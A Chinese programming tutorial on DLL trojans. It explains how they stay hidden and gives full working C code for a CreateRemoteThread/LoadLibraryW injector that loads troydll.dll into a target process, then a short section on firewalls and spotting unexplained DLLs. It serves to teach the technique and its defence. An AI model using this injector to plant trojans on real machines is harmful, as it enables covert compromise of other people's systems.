VC++動態(tài)鏈接庫編程之DLL木馬
DLL在程序編制中可作出巨大貢獻,它提供了具共性代碼的復用能力。但是,正如一門高深的武學,若被掌握在正義之俠的手上,便可助其仗義江湖;但若被掌握在邪惡之徒的手上,則必然在江湖上掀起腥風血雨。DLL正是一種這樣的武學。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木馬,一種惡貫滿盈的病毒,令特洛伊一夜之間國破家亡。
DLL木馬的原理
DLL木馬的實現(xiàn)原理是編程者在DLL中包含木馬程序代碼,隨后在目標主機中選擇特定目標進程,以某種方式強行指定該進程調(diào)用包含木馬程序的DLL,最終達到侵襲目標系統(tǒng)的目的。
正是DLL程序自身的特點決定了以這種形式加載木馬不僅可行,而且具有良好的隱藏性:
(1)DLL程序被映射到宿主進程的地址空間中,它能夠共享宿主進程的資源,并根據(jù)宿主進程在目標主機的級別非法訪問相應的系統(tǒng)資源;
(2)DLL程序沒有獨立的進程地址空間,從而可以避免在目標主機中留下"蛛絲馬跡",達到隱蔽自身的目的。
DLL木馬實現(xiàn)了"真隱藏",我們在任務管理器中看不到木馬"進程",它完全溶進了系統(tǒng)的內(nèi)核。與"真隱藏"對應的是"假隱藏","假隱藏"木馬把自己注冊成為一個服務。雖然在任務管理器中也看不到這個進程,但是"假隱藏"木馬本質(zhì)上還具備獨立的進程空間。"假隱藏"只適用于Windows9x的系統(tǒng),對于基于WINNT的操作系統(tǒng),通過服務管理器,我們可以發(fā)現(xiàn)系統(tǒng)中注冊過的服務。
DLL木馬注入其它進程的方法為遠程線程插入。
遠程線程插入技術(shù)指的是通過在另一個進程中創(chuàng)建遠程線程的方法進入那個進程的內(nèi)存地址空間。將木馬程序以DLL的形式實現(xiàn)后,需要使用插入到目標進程中的遠程線程將該木馬DLL插入到目標進程的地址空間,即利用該線程通過調(diào)用Windows API LoadLibrary函數(shù)來加載木馬DLL,從而實現(xiàn)木馬對系統(tǒng)的侵害。
DLL木馬注入程序
這里涉及到一個非常重要的Windows API――CreateRemoteThread。與之相比,我們所習慣使用的CreateThread API函數(shù)只能在進程自身內(nèi)部產(chǎn)生一個新的線程,而且被創(chuàng)建的新線程與主線程共享地址空間和其他資源。而CreateRemoteThread則不同,它可以在另外的進程中產(chǎn)生線程!CreateRemoteThread有如下特點:
(1)CreateRemoteThread較CreateThread多一個參數(shù)hProcess,該參數(shù)用于指定要創(chuàng)建線程的遠程進程,其函數(shù)原型為:
HANDLE CreateRemoteThread(
HANDLE hProcess, //遠程進程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
(2)線程函數(shù)的代碼不能位于我們用來注入DLL木馬的進程所在的地址空間中。也就是說,我們不能想當然地自己寫一個函數(shù),并把這個函數(shù)作為遠程線程的入口函數(shù);
(3)不能把本進程的指針作為CreateRemoteThread的參數(shù),因為本進程的內(nèi)存空間與遠程進程的不一樣。
以下程序由作者Shotgun的DLL木馬注入程序簡化而得(單擊此處下載,在經(jīng)典書籍《Windows核心編程》中我們也可以看到類似的例子),它將d盤根目錄下的troydll.dll插入到ID為4000的進程中:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
void CheckError ( int, int, char *); //出錯處理函數(shù)
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
dwRemoteProcessId = 4000;
strcpy(lpDllFullPathName, "d:\troydll.dll");
//將DLL文件全路徑的ANSI碼轉(zhuǎn)換成UNICODE碼
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//打開遠程進程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允許創(chuàng)建線程
PROCESS_VM_OPERATION | //允許VM操作
PROCESS_VM_WRITE, //允許VM寫
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");
//計算DLL路徑名需要的內(nèi)存空間
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//將DLL的路徑名復制到遠程進程的內(nèi)存空間
iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//計算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//啟動遠程線程,通過遠程線程調(diào)用用戶的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待遠程線程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清場處理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
}
//錯誤處理函數(shù)CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode)
{
printf("%s Error:%dnn", pErrorMsg, GetLastError());
//清場處理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
exit(0);
}
}
從DLL木馬注入程序的源代碼中我們可以分析出DLL木馬注入的一般步驟為:
(1)取得宿主進程(即要注入木馬的進程)的進程ID dwRemoteProcessId;
(2)取得DLL的完全路徑,并將其轉(zhuǎn)換為寬字符模式pszLibFileName;
(3)利用Windows API OpenProcess打開宿主進程,應該開啟下列選項:
a.PROCESS_CREATE_THREAD:允許在宿主進程中創(chuàng)建線程;
b.PROCESS_VM_OPERATION:允許對宿主進程中進行VM操作;
c.PROCESS_VM_WRITE:允許對宿主進程進行VM寫。
(4)利用Windows API VirtualAllocEx函數(shù)在遠程線程的VM中分配DLL完整路徑寬字符所需的存儲空間,并利用Windows API WriteProcessMemory函數(shù)將完整路徑寫入該存儲空間;
(5)利用Windows API GetProcAddress取得Kernel32模塊中LoadLibraryW函數(shù)的地址,這個函數(shù)將作為隨后將啟動的遠程線程的入口函數(shù);
(6)利用Windows API CreateRemoteThread啟動遠程線程,將LoadLibraryW的地址作為遠程線程的入口函數(shù)地址,將宿主進程里被分配空間中存儲的完整DLL路徑作為線程入口函數(shù)的參數(shù)以另其啟動指定的DLL;
(7)清理現(xiàn)場。
DLL木馬的防治
從DLL木馬的原理和一個簡單的DLL木馬程序中我們學到了DLL木馬的工作方式,這可以幫助我們更好地理解DLL木馬病毒的防治手段。
一般的木馬被植入后要打開一網(wǎng)絡端口與攻擊程序通信,所以防火墻是抵御木馬攻擊的最好方法。防火墻可以進行數(shù)據(jù)包過濾檢查,我們可以讓防火墻對通訊端口進行限制,只允許系統(tǒng)接受幾個特定端口的數(shù)據(jù)請求。這樣,即使木馬植入成功,攻擊者也無法進入到受侵系統(tǒng),防火墻把攻擊者和木馬分隔開來了。
對于DLL木馬,一種簡單的觀察方法也許可以幫助用戶發(fā)現(xiàn)之。我們查看運行進程所依賴的DLL,如果其中有一些莫名其妙的DLL,則可以斷言這個進程是宿主進程,系統(tǒng)被植入了DLL木馬。"道高一尺,魔高一丈",現(xiàn)如今,DLL木馬也發(fā)展到了更高的境界,它們看起來也不再"莫名其妙"。在最新的一些木馬里面,開始采用了先進的DLL陷阱技術(shù),編程者用特洛伊DLL替換已知的系統(tǒng)DLL。特洛伊DLL對所有的函數(shù)調(diào)用進行過濾,對于正常的調(diào)用,使用函數(shù)轉(zhuǎn)發(fā)器直接轉(zhuǎn)發(fā)給被替換的系統(tǒng)DLL;對于一些事先約定好的特殊情況,DLL會執(zhí)行一些相應的操作。
來源:ks990次